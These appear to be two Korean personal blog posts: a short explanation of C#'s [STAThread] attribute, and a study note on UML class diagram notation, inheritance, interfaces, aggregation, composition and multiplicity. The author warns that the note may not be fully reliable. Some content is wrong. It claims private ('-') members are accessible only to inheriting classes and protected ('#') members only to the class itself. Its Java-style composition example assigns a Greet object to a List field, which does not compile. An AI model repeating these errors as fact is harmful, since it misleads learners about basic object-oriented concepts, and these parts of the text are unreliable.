            Application.SetCompatibleTextRenderingDefault(false);

            Application.Run(new MainForm());

        }

    }

}



헐.. 당황..    [STAThread] 이런 문법은 도데체 무엇이던가?! 


 C# 코드에서 [STAThread] 가 의미하는 바는 기본적으로, VS .NET에 의해 만들어진 응용 프로그램의 Main()메소드에는 [STAThread] 라는 속성으로 되어 있다. 


하지만 COM 형식을 이용하는 경우엔 [STAThread]  라는 것으로  해당 응용 프로그램이 COM형식을 이용하는 경우에 (단지 이 경우에만 해당하는 것인데) 해당 응용 프로그램이 단일 스레드 아파트(single threaded apartment, STA) 모델로 설정되어야 한다는 것을 런타임에게 알려주는 역할을 한다. 


즉 다중쓰레드로 동작하지 않는다는 것을 알려주는것이다. 


해당 응용 프로그램에서 COM 형식을 이용하지 않는다면, [STAThread] 어트리뷰트는 무시되기 때문에 삭제해도 무방하다.

Posted by k1rha
2012. 4. 29. 11:48

최근 OOP 를 공부함에 따라 UML 그리는 법부터 다시 공부를 하기 시작했다. 

필자가 개인적으로 OOP 코딩을 잘 못하는 관계로 이번 문서는 100% 신뢰를 보장하지 않는다 -_-.. 개인 공부 목적용일뿐..


아래 자료는 홍익대학교 컴퓨터 정보통신공학  OOP 수업자료 관련한 PDF 파일에서 발최한 그림이다. 




클래스 다이어그램을 그리기전 클래스를 규명해줘야 한다. 


맨위에는 클래스명이 들어가고, 그 아래 칸은 각각의 속성과 타입, 그아래는 연산자가 들어가게 된다. 


각각 메소드나 변수면 앞에붙는 문자의 의미는 다음과 같다.


+는 public 로써 모든 클래스에서 접근 가능하다.

-는 private 로써 상속받은 클래스간에만 접근이 가능하다.

#은 protected 로써 자기 자신에게밖에 접근 할 수 없다. 




다이어그램에서의 상속관계는 다음과 같이 표현한다. 


추상클래스같은 경우 MyDerivedClass 에서 상속받아 그 함수를 재정의해야 하므로 연관관계 세모 모양은 위로 향하게 된다.


  이 관계가 한국인들에게는 좀 헤깔릴 수 있는 관계이만 필자만의 노하우를 말하면 삼각형의 방향을 > < 의 부등식으로 보면 좀더 이해하기가 좋다.


예를들어


MyDerivedClass -> MyAbstractClass 라고 생각을 하면 myDerivedClass 는 MyAbstractclass 를 사용하기에 더 큰 개념이다. 이러한 경우 그대로  MyDerivedClass - ▷  MyAbstractClass 라고 표현해 주면 된다. 


부모자식 관계는 별개의 방식으로 생각하여 여러개의 클래스가 extends 로 상속 받을수 있으므로, 여러 자식은 한 부모를 가져야 한다. 라는 개념으로 보면 MyDerivedClass  가 자식이되고 MyAbstractClass 가 부모가 된다.





이번엔 구현(implement)부를 보면 interface는 객체를 상속받는 것이 아니지만 type과 이름만으로 선언된 것을 하위 클래스에게 전하여 규약을 만든다.

때문에 extends 보다 조금더 느슨한 느낌이라고 보면 되기에 점선으로 표시한다. 




다음은 aggregation(집합관계) 과 composition(구성관계) 이다. 


우선 위에 그림에도 나와 있지만 집합관계는 투명한 다이아몬드 모양으로 표시하고 구성관계는 검은색 다이아 몬드로 사용 된다. 

이 두가지 차이가 애매하다. 특히나 번역을 빌리면 더욱 난감해지는데 개발자들은 코드로 대화한다고 하지 않던가! 코드를 보면 보다 간결하다. 


우선 집합관계(aggregation)은 자식 클래스가 부모클래스와 독립적으로 작용한다.

구성관계(composition)은 자식클래스가 부모클래스에 종속된다. 



 main(){

    Greet g = new Greet(new ArrayList<String>());

    Greet gt = new Greet();

}


public Greet(List l){

    this.l = l;                     //집합 관계

}


public Greet(){

    this.l = new Greet();     //구성관계

}


따라서 부모 클래스가 제거되었을 때 aggregation의 자식 클래스는 살아남는다.  하지만, composition의 자식 클래스는 제거된다.


http://sonsooresoon.tistory.com/18 의 글을 빌어 한번 다시 설명하면 ,


역사수업 을 듣는 학생들이 있다고 가정하자. 그럼 역사 수업안에는 학생들이 있지만 학생들이 없다고 역사 수업이 없는 것은 아니다. 이러한 것을 집합 관계라고 한다. 


하지만 자동차를 속 엔진을 비교해 보면 자동차 엔진이 없으면 자동차는 굴러 가지를 않는다. 

이를 구성 관계라고 한다. 


외우기 쉬운 노하우로는 차를 구성하는 부품은 구성관계이고 그외의 추가적인 옵션들은 부속품이므로 집합 관계가 된다. 



그 다음 각 다이어그램간 연관 관계에 대해서 보겠다.



위 그림에서는 고용주와 피고용인을 대상으로 보았다.

분명 고용주는 소수이다. 그리고 피 고용인은 다수이다.  각 다이어그램간 숫자의 해석은 다음과 같다.


1 ..3   : 1명으로 시작해서...... 3명까지는 될껄? 

1 ..n , 1 ..*  : 한명으로 시작해서..... 많이 많이 될껄?

*      *   : 그냥 많이 많이 될껄?


이런 느낌이다. 


마지막으로 예시를 통하여 한번 복습해보자. 


고객 메일 어플리케이션을 보면 한명의 소비자는 메일 어플리케이션을 가져야 한다. 하지만 메일 계정이 반드시 고객이 구성성분은 아니므로 집합 관계이다. 고로 투명한 다이아 몬드로 표시해 준다. 


DelinquentCustomer 나 MoutaionCustomer 나 Regular Customer 세 부류의 고객들은 전부다. 각자 타입에 맞는 어플리 케이션을 사용 할수 있어야 한다.  하지만 이는 implement 로 interface만을 제공해 주겠다고 한다. 

각 고객들은 customer 를 상속받아 사용해야 하므로 화살표 방향은 customer 족으로 향하게 되는 것이다. 


이처럼 상속받는 것이 작은 개념, 상속 하는 것이 큰 개념으로 시작되면  UML 그리기는 이해하기가 편하다. 




Posted by k1rha